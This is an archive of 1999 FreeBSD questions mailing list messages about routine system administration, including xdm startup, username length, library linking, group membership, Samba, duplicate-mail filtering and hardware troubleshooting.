References: <36F4FAC9.8391D199@indy.net>
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On Sun, Mar 21, 1999 at 08:57:30AM -0500, Jack James wrote:
> Hi,
> I like the documentation and site.

sure, http://www.freebsd.org/ is the site and you'll find the
documentation there too.

> I have been a DOS and Windows operator, following an EFI 332 site at
> Ohio State. They are using Red Hat RPM files and RTEMS.  A friend at
> AT&T, Bill Kessler is using FreeBSD and recommended it for speed and
> stability.  I want to check if my machine will boot Linux and can't find
> files.
> Please include kern.flp and mfsroot.flp on this site.

you can find kern.flp and mfsroot.flp in the freebsd site given above.

> 
> Questions:
> 1.  Will Freebsd run RPM format files?

I think theres a port to install things with RPM's though i don't see why
you would like that funcionality. FreeBSD has a ports collection which 
probably contains most of the software that you'll find in RPM's. 

On other way to take the question is "can freebsd run linux binaries?"
if that was your question, the answer is yes!, FreeBSD has linux emmulation.

> 2.   Is there a DOS  emulator for Linux?

for linux? yes, i think there are several. for FreeBSD, i know there are
several.

> 3.  Does FreeBSD support Motorala compilers?

if you mean a cross compiler that targets motorola processors, yes. you'll
find one in the ports collection.


regards,

-oscar



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From owner-freebsd-questions  Mon Mar 22  7:46:23 1999
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Date: Mon, 22 Mar 1999 10:44:29 -0500 (EST)
From: Spidey <spidey@libdns.qc.ca>
Reply-To: Spidey <beaupran@jsp.umontreal.ca>
To: Munehiro Matsuda <haro@tk.kubota.co.jp>
Cc: talon@lpthe.jussieu.fr, chad@freebie.dcfinc.com, kaj@raditex.se,
	freebsd-questions <freebsd-questions@FreeBSD.ORG>,
	freebsd-stable@FreeBSD.ORG
Subject: SOLVED: Re: Problems with SB16 PnP and FBSD-stable (fwd)
In-Reply-To: <19990319171536Q.haro@tk.kubota.co.jp>
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Hi!

Thanks to all the people who helped me through this... Your advices are
what is making FreeOses like FreeBSD great!

So, yes, i made it through.
I don't really know what the problem was... guessing that since Windows
could use the sound card correctly, I could get some answers there. What I
discovered was that, surprisingly, windows had assigned the SB to the 2/9
IRQ channel!!! With drq0 at 3 and drq1 at 7... So I made the exact same
setup in the -c pnp config in my kernel and.. it worked!!!

However I am still worried that it (SB) uses the 2/9 irq... this is weird!
I never saw this before. I would better like my modem to use this, but I
don't know how to do it. (could someone know this? It's a Cirrus Logic PnP
modem, and is now on COM2/irq5)

Thanks a lot to all people who helped me, again... The only thing now is
that I have a __lot__ of debugging messages issued from the kernel when I
play sounds... Nothing a kernel rebuild won't fix... :)

On Fri, 19 Mar 1999, Munehiro Matsuda wrote:

> From: Spidey <spidey@libdns.qc.ca>
> Date: Thu, 18 Mar 1999 21:00:06 -0500 (EST)
> ::No. That's not it either...
> 
> How about enabling DEBUG mode in pcm?
> 
> 1. Change following line in /usr/src/sys/i386/isa/snd/sound.h:
> 
> from:
>    #define DEB(x)
> 
> to:
>    #define DEB(x) x
> 
> 2. Update source files in /usr/src/sys/i386/isa/snd
> 
>   # touch /usr/src/sys/i386/isa/snd/*.c
> 
> 3. Recompile kernel and reboot
> 
> Now what happens?
> 
>   Haro,
> -------------------------------------------------------------------------------
>           _ _    Munehiro (haro) Matsuda
> -|- /_\  |_|_|   Office of Business Planning & Developement, Kubota Corp.
> /|\ |_|  |_|_|	 1-3 Nihonbashi-Muromachi 3-Chome
> 		 Chuo-ku Tokyo 103, Japan
>                  Tel: +81-3-3245-3318  Fax: +81-3-32454-3315
>                  Email: haro@tk.kubota.co.jp
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 

When a man lies he murders some part of the world
These are the pale deaths which men miscall their lives
All this I can witness any longer
Cannot the kingdom of salvation take me home





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From owner-freebsd-questions  Mon Mar 22  7:47:33 1999
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	(envelope-from schwenk@math.udel.edu)
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Date: Mon, 22 Mar 1999 10:47:11 -0500
From: Peter Schwenk <schwenk@math.udel.edu>
Organization: University of Delaware
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To: freebsd-questions@freebsd.org
Subject: XDM kookiness
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Hello:

I've got xdm running on my FreeBSD 3.1-R system (and it was running on
2.2.8-R before that).  It is started with a xdm.sh script in the
/usr/X11R6/etc/rc.d directory (is there any other way to start it?).
Quite frequently, after I boot up the system and I get to the login
window, the keyboard input isn't echoed in the login window.  The
keyboard input is accepted, as I found out by telnetting in from another
system and seeing myself logged in, plus Ctrl-Alt-Delete works.
Sometimes it needs a couple reboots before the keboard input is echoed
to the screen.  The keyboard works fine.  It's a MS-Natural-layout
keyboard, and I told xf86config that.   Does anyone know what causes
this?  One more oddity (or misconfiguration on my part):  when I log in
via xdm, I don't show up in the output of the 'last' command.  Is this
because I should be running xdm a different way?  Thanks in advance for
your help.

--
PETER SCHWENK                                    |  UNIX System Administrator
Department of Mathematical Sciences              |  University of Delaware
schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!





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From owner-freebsd-questions  Mon Mar 22  7:56:27 1999
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From: Joe Schwartz <rjoe@sierrahill.com>
Message-Id: <199903221602.KAA17629@sierrahill.com>
Subject: max user ID length?
To: freebsd-questions@freebsd.org
Date: Mon, 22 Mar 1999 10:02:34 -0600 (CST)
Cc: rjoe@sierrahill.com (     Joe Schwartz        )
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Folks,
 
This is on release 3.1.
 
 
What is the maximum length for a login ID. I thought it
was 8 characters ... but just installed majordomo and
realized after I'd done the 'adduser' that it was 9
characters ... and I can login as mojordomo.
 
I have just created users on this machine which were on an
NT server where some had longer than 8 characters. 
 
Could I have created these long user ID's without truncating
at 8 characters?
 
 
Thanks,            
 
Joe Schwartz



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From owner-freebsd-questions  Mon Mar 22  7:58:44 1999
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Date: Mon, 22 Mar 1999 10:58:18 -0500 (EST)
From: "Joe \"Marcus\" Clarke" <marcus@miami.edu>
Subject: Re: XDM kookiness
In-reply-to: <36F665FE.82F0E85A@math.udel.edu>
To: Peter Schwenk <schwenk@math.udel.edu>
Cc: freebsd-questions@FreeBSD.ORG
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You can also start it from /etc/ttys:

ttyv3	"/usr/X11R6/bin/xdm -nodaemon"	xterm	on	secure

Then kill -1 1.

Joe Clarke

On Mon, 22 Mar 1999, Peter Schwenk wrote:

> Hello:
> 
> I've got xdm running on my FreeBSD 3.1-R system (and it was running on
> 2.2.8-R before that).  It is started with a xdm.sh script in the
> /usr/X11R6/etc/rc.d directory (is there any other way to start it?).
> Quite frequently, after I boot up the system and I get to the login
> window, the keyboard input isn't echoed in the login window.  The
> keyboard input is accepted, as I found out by telnetting in from another
> system and seeing myself logged in, plus Ctrl-Alt-Delete works.
> Sometimes it needs a couple reboots before the keboard input is echoed
> to the screen.  The keyboard works fine.  It's a MS-Natural-layout
> keyboard, and I told xf86config that.   Does anyone know what causes
> this?  One more oddity (or misconfiguration on my part):  when I log in
> via xdm, I don't show up in the output of the 'last' command.  Is this
> because I should be running xdm a different way?  Thanks in advance for
> your help.
> 
> --
> PETER SCHWENK                                    |  UNIX System Administrator
> Department of Mathematical Sciences              |  University of Delaware
> schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!
> 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 



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From owner-freebsd-questions  Mon Mar 22  8:10:19 1999
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To: "Joe \\" Marcus\ " Clarke" <marcus@miami.edu>
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Subject: Re: XDM kookiness
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I've read lots of people freak out about starting it there.  Just curious... Why
do some people think it's a bad place to start it?

Joe \"Marcus\" Clarke wrote:

> You can also start it from /etc/ttys:
>
> ttyv3   "/usr/X11R6/bin/xdm -nodaemon"  xterm   on      secure
>
> Then kill -1 1.
>
> Joe Clarke
>
>

--
PETER SCHWENK                                    |  UNIX System Administrator
Department of Mathematical Sciences              |  University of Delaware
schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!





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From owner-freebsd-questions  Mon Mar 22  8:10:36 1999
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From: "Tony" <tbrock@mail.phoenix.net>
To: <freebsd-questions@FreeBSD.ORG>
Subject: ldconfig, libs, elf, aout, ports, headaches, pains and sorrow
Date: Mon, 22 Mar 1999 10:10:13 -0600
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This is a multi-part message in MIME format.

------=_NextPart_000_0012_01BE744C.2D0436E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Greetings,=20
=20
    I'm having serious difficulties getting certain items to compile. =20
I'm using FreeBSD/3.1-RELEASE with the upgrade package installed.
=20
Everything is pretty much standard issue release and portwise there.  My =
goal was to install kde or gnome 1.0.1 so I began installing all of the =
required programs such as db, docbook, xpm, png, tiff, jpeg, gif, imlib, =
etc.
=20
I like to stay current with source releases but if versions aren't too =
far off between a port and any source I can find I'll stick with the =
port.  (Our proxy's methods are so obscure CVSuping seems a pipe dream). =
KDE comes with support libraries that work just great for KDE but aren't =
necessarily current.
=20
The biggest problem I'm having is libraries.  Specifically ones like =
-jpeg, -tiff, -gif etc.  These libraries are ON my system.  I've ported =
them, packaged them, compiled them, uninstalled them and repeated the =
above ad-nauseum.  I've forced --with-extra-libs in configure scripts, =
I've rebuilt the hints files over and over.  The libraries are THERE but =
these configure scripts don't see them! 8(  ldconfig lists them as elf =
available libraries etc!

Let me see if I can toss some questions about to help clarify what might =
be happening.

1. How would I end up building aout libraries on an elf system with the =
OBJECT stuff set to elf?
2. Why would libraries not be seen by configure scripts even though they =
are quite obviously installed.
3. Are configure scripts (kdelibs-1.1) hard coded to REQUIRE older =
libraries?
4. Shouldn't I be able to force the building of shared libraries without =
fear that everything won't explode?
5. If a library is listed in ldconfig -r should it not be completely =
accessable by all of the tools used by configure scripts to determine =
what is available? If I have to specify where libraries are all the time =
what good is ldconfig??
6. Are these graphics libraries not backwards compatible?  (e.g. would =
kdelibs-1.1 neglect a newer graphics library in preference for an older =
one?)
7. How can I check a libraries version anyway??
8. Thanks if you read this far!!


As an example I ran the configure for imlib and it could not see many of =
my graphics libraries so I had to modify all of the Makefiles to point =
to -L/usr/local/lib -jpeg... -tiff etc etc before it would compile. =
ldconfig had all of these listed.

I NEVER had problems like this under the 2.2.X branch.  The most =
difficult problem I had prior to 3.1 was  LD_LIBRARY_PATH not being set! =
 Sorry if this is all a theoretical jumble but this whole mess is =
killing me!
=20
If you have ANY idea please let me know!!

TIA,
  Tony

------=_NextPart_000_0012_01BE744C.2D0436E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN">
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Greetings, </FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; I'm having serious difficulties =
getting=20
certain items to compile.&nbsp; </FONT></DIV>
<DIV><FONT size=3D2>I'm using FreeBSD/3.1-RELEASE with the upgrade =
package=20
installed.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Everything is pretty much standard issue release and =
portwise=20
there.&nbsp; My goal was to install kde or gnome 1.0.1 so I began =
installing all=20
of the required programs such as db, docbook, xpm, png, tiff, jpeg, gif, =
imlib,=20
etc.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>I like to stay current with source releases but if =
versions=20
aren't too far off between a port and any source I can find I'll stick =
with the=20
port.&nbsp; (Our proxy's methods are so obscure CVSuping seems a pipe =
dream).=20
KDE comes with support libraries that work just great for KDE but aren't =

necessarily current.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>The biggest problem I'm having is=20
libraries.&nbsp; Specifically ones like -jpeg, -tiff, -gif etc.&nbsp; =
These=20
libraries are ON my system.&nbsp; I've ported them, packaged them, =
compiled=20
them, uninstalled them and repeated the above ad-nauseum.&nbsp; I've =
forced=20
--with-extra-libs in configure scripts, I've rebuilt the hints files =
over and=20
over.&nbsp; The libraries are THERE but these configure scripts don't =
see them!=20
8(&nbsp; ldconfig lists them as elf available libraries =
etc!</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Let me see if I can toss some questions about to =
help clarify=20
what might be happening.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>1. How would I end up building aout libraries on an =
elf system=20
with the OBJECT stuff set to elf?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>2. Why would libraries not be seen =
by configure=20
scripts even though they are quite obviously installed.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>3. Are =
configure scripts=20
(kdelibs-1.1) hard coded to REQUIRE older libraries?</FONT></DIV>
<DIV><FONT size=3D2>4. Shouldn't I be able to force the building of =
shared=20
libraries without fear that everything won't explode?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>5. If a library is listed in =
ldconfig -r should=20
it not be completely accessable by all of the tools used by configure =
scripts to=20
determine what is available? If I have to specify where libraries are =
all the=20
time what good is ldconfig??</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>6. Are these =
graphics=20
libraries not backwards compatible?&nbsp; (e.g. would kdelibs-1.1 =
neglect a=20
newer graphics library in preference for an older one?)</FONT></DIV>
<DIV><FONT size=3D2>7. How can I check a libraries version =
anyway??</FONT></DIV>
<DIV><FONT size=3D2>8. Thanks if you read this far!!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>As an example I ran the configure for imlib and it =
could not=20
see many of my graphics libraries so I had to modify all of the =
Makefiles to=20
point to -L/usr/local/lib -jpeg... -tiff etc etc before it would =
compile.=20
ldconfig had all of these listed.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>I NEVER had problems like this under the 2.2.X =
branch.&nbsp;=20
The most difficult problem I had prior to 3.1 was&nbsp; LD_LIBRARY_PATH =
not=20
being set!&nbsp; Sorry if this is all a theoretical jumble but this =
whole mess=20
is killing me!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>If you have ANY idea please let me =
know!!</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>TIA,</FONT></DIV>
<DIV><FONT size=3D2>&nbsp; Tony</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Mon Mar 22  8:21:26 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-Id: <199903221620.KAA09064@iaces.com>
Subject: Re: XDM kookiness
In-Reply-To: <36F66B23.68192637@math.udel.edu> from Peter Schwenk at "Mar 22, 99 11:09:07 am"
To: schwenk@math.udel.edu (Peter Schwenk)
Date: Mon, 22 Mar 1999 10:20:03 -0600 (CST)
Cc: marcus@miami.edu, freebsd-questions@FreeBSD.ORG
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You have a little less control than doing it in a shell script.

Curiously, When I had either 2.2.6 or 2.2.7 installed, I had to
have it in ttys instead of a shell script. The machine locked
up the other way, but worked fine this way. I didn't feel like
trying to sort that one out.


In a previous message, Peter Schwenk said:
> I've read lots of people freak out about starting it there.  Just curious... Why
> do some people think it's a bad place to start it?
> 
> Joe \"Marcus\" Clarke wrote:
> 
> > You can also start it from /etc/ttys:
> >
> > ttyv3   "/usr/X11R6/bin/xdm -nodaemon"  xterm   on      secure
> >
> > Then kill -1 1.
> >
> > Joe Clarke
> >
> >
> 
> --
> PETER SCHWENK                                    |  UNIX System Administrator
> Department of Mathematical Sciences              |  University of Delaware
> schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!
> 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


-- 
I wouldn't be caught dead with a necrophiliac.


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From owner-freebsd-questions  Mon Mar 22  8:21:44 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Cambria, Mike" <mcambria@lucent.com>
To: questions@FreeBSD.ORG
Subject: SCSI CDROM & EIDE/ATA CDROM concurrently?
Date: Mon, 22 Mar 1999 11:04:09 -0500
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Hi,

I'm considering a new system which has no SCSI support.  If I decide to go
this route, l will add my current SCSI controller and its peripherals (CD,
Tape, disks etc.) to this system when it arrives.  I've been running
concurrent EIDE and SCSI disks for years, but I've never owned an IDE based
CDROM.  This new system will come with one.

Rather than removing this CD (possibly DVD), will it co-exist with the SCSI
CDROM?  With 2 (or more) SCSI CDROM's?  Is there anything I should worry
about?

I'll plan to install FreeBSD 3.1 once the new system arrives.

Thanks,
MikeC

Michael C. Cambria                        Lucent Technologies
Member of Technical Staff                        Bell Labs Innovations
   Voice: (978) 287 - 2807                300 Baker Avenue
     Fax: (978) 287 - 2810                Concord, Massachusetts 01742
Internet:  mcambria@lucent.com <mailto:mcambria@lucent.com> 


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From owner-freebsd-questions  Mon Mar 22  8:23:24 1999
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From: "Neil Oosten" <neiloosten@hotmail.com>
To: FreeBSD-questions@FreeBSD.ORG
Subject: Changing groups
Date: Mon, 22 Mar 1999 11:22:56 EST
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Hello.

Here's my situation: I want have a user who is a member of three 
groups--say they are radio, tv, and newspaper. When the user logs in the 
group is set to radio, but then he has to go edit something for radio. 
How do I change the user's group from newspaper to radio.

I'm pretty sure this can be done. I saw it elsewhere by using a really 
wierd combination of keywords, but didn't write it down! >:(

Can anyone give me the command name?

Please e-mail me directly at the address below.

Neil Oosten
neiloosten@hotmail.com













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From owner-freebsd-questions  Mon Mar 22  8:23:46 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903221623.LAA07672@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: max user ID length?
In-Reply-To: <199903221602.KAA17629@sierrahill.com> from Joe Schwartz at "Mar 22, 99 10:02:34 am"
To: rjoe@sierrahill.com (Joe Schwartz)
Date: Mon, 22 Mar 1999 11:23:17 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG, rjoe@sierrahill.com
Reply-To: cjclark@home.com
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Joe Schwartz wrote,
> Folks,
>  
> This is on release 3.1.
>  
>  
> What is the maximum length for a login ID. I thought it
> was 8 characters ... but just installed majordomo and
> realized after I'd done the 'adduser' that it was 9
> characters ... and I can login as mojordomo.
>  
> I have just created users on this machine which were on an
> NT server where some had longer than 8 characters. 
>  
> Could I have created these long user ID's without truncating
> at 8 characters?

From the 3.0 Release Notes
(http://www.freebsd.org/releases/3.0R/notes.html),

1.3. USERLAND CHANGES
.
.
.
The default username length has increased to 16 characters.
Caution:  Old utmp/wtmp files will NOT work with this change since
the data records will be of the old size.  For a conversion utility
to aid with this, see /usr/src/tools/3.0-upgrade.

-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Mon Mar 22  8:34:43 1999
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For several days I have been receiving large numbers of duplicates from
this list. This produces a lot of extra e-mail. The messages are bing
routed through  mail@sarip.sol.net and mail@mail2.sol.net.

The headers are as follows

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From owner-freebsd-questions  Mon Mar 22  8:48: 9 1999
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 freebsd-questions@FreeBSD.ORG; Mon, 22 Mar 1999 11:47:38 -0500 (EST)
Date: Mon, 22 Mar 1999 11:47:38 -0500 (EST)
From: "Joe \"Marcus\" Clarke" <marcus@miami.edu>
Subject: Re: XDM kookiness
In-reply-to: <36F66B23.68192637@math.udel.edu>
To: Peter Schwenk <schwenk@math.udel.edu>
Cc: freebsd-questions@FreeBSD.ORG
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I used to start it from there, but then I moved to kdm, and kdm complains
about the way ttys like to start it.  I moved to /usr/X11R6/etc/rc.d/X.sh,
and it works fine.

Joe Clarke

On Mon, 22 Mar 1999, Peter Schwenk wrote:

> I've read lots of people freak out about starting it there.  Just curious... Why
> do some people think it's a bad place to start it?
> 
> Joe \"Marcus\" Clarke wrote:
> 
> > You can also start it from /etc/ttys:
> >
> > ttyv3   "/usr/X11R6/bin/xdm -nodaemon"  xterm   on      secure
> >
> > Then kill -1 1.
> >
> > Joe Clarke
> >
> >
> 
> --
> PETER SCHWENK                                    |  UNIX System Administrator
> Department of Mathematical Sciences              |  University of Delaware
> schwenk@math.udel.edu                            |  (302)831-0437 <-NEW!!!
> 
> 
> 
> 
> 
> 



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From owner-freebsd-questions  Mon Mar 22  8:52:19 1999
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Message-Id: <199903221651.KAA09206@iaces.com>
Subject: Re: Duplicate E-Mail Messages
In-Reply-To: <36F67167.1043D7B6@3-cities.com> from Kent Stewart at "Mar 22, 99 08:35:51 am"
To: kstewart@3-cities.com (Kent Stewart)
Date: Mon, 22 Mar 1999 10:51:21 -0600 (CST)
Cc: freebsd-questions@FreeBSD.ORG, jmb@FreeBSD.ORG
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You can get rid of these (well from your mailer) by putting in a procmail
filter:

# Biff duplicate mail messages to multiple mailing-lists
:0 Wh: msgid.lock
|formail -D 8192 msgid.cache      


In a previous message, Kent Stewart said:
> For several days I have been receiving large numbers of duplicates from
> this list. This produces a lot of extra e-mail. The messages are bing
> routed through  mail@sarip.sol.net and mail@mail2.sol.net.
> 
> The headers are as follows
> 
> start of first header >>>
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> <<<< end of first header
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> 


-- 
Democracy is a form of government that substitutes election by the
incompetent many for appointment by the corrupt few.
                -- G. B. Shaw


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From owner-freebsd-questions  Mon Mar 22  8:59:29 1999
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	freebsd-questions@FreeBSD.ORG
From: Brian Adkins <brian@lojic.com>
Subject: Re: windows 95 connect to FreeBSD
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At 10:19 AM 3/22/99 +0100, Stefano Riva wrote:
>...
>If you want
>vice-versa (seeing Windows boxes from FreeBSD), install Sharity Light too.

I was under the impression that Samba provided the functionality for
FreeBSD to see Windows shared drives. Is that not the case?



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From owner-freebsd-questions  Mon Mar 22  9: 0:10 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Crist J. Clark" <cjc@cc942873-a.ewndsr1.nj.home.com>
Message-Id: <199903221659.LAA07766@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: Changing groups
In-Reply-To: <19990322162256.28891.qmail@hotmail.com> from Neil Oosten at "Mar 22, 99 11:22:56 am"
To: neiloosten@hotmail.com (Neil Oosten)
Date: Mon, 22 Mar 1999 11:59:36 -0500 (EST)
Cc: FreeBSD-questions@FreeBSD.ORG
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Neil Oosten wrote,
> Hello.
> 
> Here's my situation: I want have a user who is a member of three 
> groups--say they are radio, tv, and newspaper. When the user logs in the 
> group is set to radio, but then he has to go edit something for radio. 
> How do I change the user's group from newspaper to radio.
> 
> I'm pretty sure this can be done. I saw it elsewhere by using a really 
> wierd combination of keywords, but didn't write it down! >:(
> 
> Can anyone give me the command name?

I'm not sure what you are talking about. When someone is a member of
three groups, that user is always a member of those three
groups. There is no need to 'change' groups. If a user wants to change
which group a specific file/directory is owned by, 'man chgrp.'
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Mon Mar 22  9: 6:37 1999
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	freebsd-questions@FreeBSD.ORG
Subject: Re: windows 95 connect to FreeBSD
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Brian Adkins wrote:
> 
> At 10:19 AM 3/22/99 +0100, Stefano Riva wrote:
> >...
> >If you want
> >vice-versa (seeing Windows boxes from FreeBSD), install Sharity Light too.
> 
> I was under the impression that Samba provided the functionality for
> FreeBSD to see Windows shared drives. Is that not the case?

You get 'smbclient' - which is an ftp-like program that uses SMB, you can
connect and ftp files off a LAN Manager host (such as Win'9X/NT)... This is
also used by smbtar - which can automatically tar files off a LAN Manager
system, but they don't allow you to cross-mount an SMB/LANManager drive onto a
unix filesystem :-(

-Kp


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From owner-freebsd-questions  Mon Mar 22  9:13:57 1999
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Date: Mon, 22 Mar 1999 11:58:32 -0500
From: Edward Glowacki <glowack2@key-largo.cl.msu.edu>
To: freebsd-questions@FreeBSD.org
Subject: DPT SmartRAID V support?
Message-ID: <19990322115832.C6005@key-largo.cl.msu.edu>
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Is support for the DPT SmartRAID V expected to be implemented any time soon?
Thanks.

-- 
Edward Glowacki			glowack2@msu.edu
Network Services
Michigan State University


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From owner-freebsd-questions  Mon Mar 22  9:20: 5 1999
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Date: Mon, 22 Mar 1999 09:18:22 -0800
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From: Jerry Preeper <preeper@cts.com>
Subject: mirrordir question
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I am using mirrordir to make a duplicate copy of one hard drive on the
system to another for backup purpose and just recently had some
modifications made to the kernel.  Now I get the following message in the
output from my cron backup job:

mirrordir: unable to open file for writing: /mnt/kernel: Operation not
permitted

The basic command I have in my backup script if the following:

/usr/local/bin/mirrordir --exclude /proc --exclude /mnt / /mnt

The only other thing I really do in the script is to cancel the backup job
if the source files are less than 95% in size than what's on the backup
(which I can override if I want).

Anyone have any ideas what I might need to do fix this.  I would like the
script to backup the kernel as well automatically.  

Jerry



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From owner-freebsd-questions  Mon Mar 22  9:21:57 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Malartre' <malartre@aei.ca>, questions@FreeBSD.ORG
Subject: RE: "/usr/local/sbin/dhclient ed0" reply "ed0: not found"!
Date: Mon, 22 Mar 1999 12:21:53 -0500
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Ok, I know this is obvious, but does the interface show up on ifconfig -a?

> -----Original Message-----
> From:	Malartre [SMTP:malartre@aei.ca]
> Sent:	Saturday, March 20, 1999 11:22 PM
> To:	questions@FreeBSD.ORG
> Subject:	"/usr/local/sbin/dhclient ed0" reply "ed0: not found"!
> 
> # /usr/local/sbin/dhclient ed0
> Internet Software Consortium DHCP Client V2.0b1pl18
> Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
> All rights reserved.
> 
> Please contribute if you find this software useful.
> For info, please visit http://www.isc.org/dhcp-contrib.html
> 
> /tmp/dcsdq5892: /etc/dhclient-script: not found
> ed0: not found
> exiting.
> # dmesg | grep ed0
> ed0 at 0x280-0x29f irq 11 maddr 0xd8000 msize 8192 on isa
> ed0: address 00:e0:29:13:56:8c, type SMC8416T (16 bit)
> 
> What's wrong?! I need that cable modem working..
> -- 
> [Malartre][malartre@aei.ca][French piss me off! - Cartman, South Park]
> [The FreeBSD User Guide][http://www.aei.ca/~malartre/freebsd/]
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Mon Mar 22  9:26:10 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: "FreeBSD Mailing List (E-mail)" <questions@FreeBSD.org>
Subject: RE: Am I the only one getting doubles
Date: Mon, 22 Mar 1999 12:26:40 -0500
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I'm not getting doubles, but I am getting alot of returned mail from
hub.freebsd.org.

> -----Original Message-----
> From:	Steve Hovey [SMTP:shovey@buffnet.net]
> Sent:	Monday, March 22, 1999 9:28 AM
> To:	freebsd-questions@FreeBSD.ORG
> Subject:	Am I the only one getting doubles
> 
> from questions?
> 
> ------------------------------------------------------------------
> Steve Hovey
> Chief Network Administrator
> BuffNET		More Than Just a Connection!
> ------------------------------------------------------------------
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Mon Mar 22  9:27:30 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Langa Kentane - MWeb' <LKentane@mweb.com>,
	"'freebsd-questions@freebsd.org'" <freebsd-questions@FreeBSD.ORG>
Subject: RE: Best book to buy
Date: Mon, 22 Mar 1999 12:28:05 -0500
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I was very happy with Greg Lehey's 'The Complete FreeBSD'.  I can't compare
it to 'Linux Unleashed' because I've never read that.
-Chris

> -----Original Message-----
> From:	Langa Kentane - MWeb [SMTP:LKentane@mweb.com]
> Sent:	Monday, March 22, 1999 2:45 AM
> To:	'freebsd-questions@freebsd.org'
> Subject:	Best book to buy
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Which book is the best to buy if you want to learn more about FreeBSD
> administration.
> 
> I want a book that will describe stuff like the confing files and tell
> you how to use them effectively and the whole system as a whole.
> 
> Something for FreeBSD that would be the equivalent of Linux unleashed.
> 
> Thanks in advance
> 
> Kind regards
> LAnga
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 6.0.2i
> 
> iQA/AwUBNvXaIdALXaBNEberEQJmcACgndei2iM/JdXHvZDSG1f81p5b580AnRrG
> JRj5O2bsNmlsxT9lOnBPJZHC
> =MUIK
> -----END PGP SIGNATURE-----


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From owner-freebsd-questions  Mon Mar 22  9:29:30 1999
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Richard Kiss' <richard@homemail.com>,
	freebsd-questions@FreeBSD.ORG
Subject: RE: Can't Eject CD in ATAPI CD-RW
Date: Mon, 22 Mar 1999 12:29:58 -0500
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Check your dmesg for any errors, I was having similar problems witha  CD-R
which appeared to be a drive incompatability which just left the disk
spinning in there.

Also make sure the cdrom is unmounted before ejecting it.

> -----Original Message-----
> From:	Richard Kiss [SMTP:richard@homemail.com]
> Sent:	Sunday, March 21, 1999 10:28 PM
> To:	freebsd-questions@FreeBSD.ORG
> Subject:	Can't Eject CD in ATAPI CD-RW
> 
> After a bit of CD-ROM usage (reading only) using cdd-1.0, my HP 7100 CD-RW
> won't eject the CD-ROM in the drive (I press the blue eject button, and
> the
> status light turns from green to red, then refused to eject the CD).
> 
> I know if you have a CD mounted or in use, you can't eject it. But I don't
> know who or what is using the CD -- how can I find out and make it stop
> using it? Or just eject the CD anyway...
> 
> -- Richard
> 
> ----------------------------------------------------------
> Richard Kiss
> 140 Locksunart Way #8
> Sunnyvale, CA, 94087
> richard@homemail.com
> http://www.ogopogo.net/
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


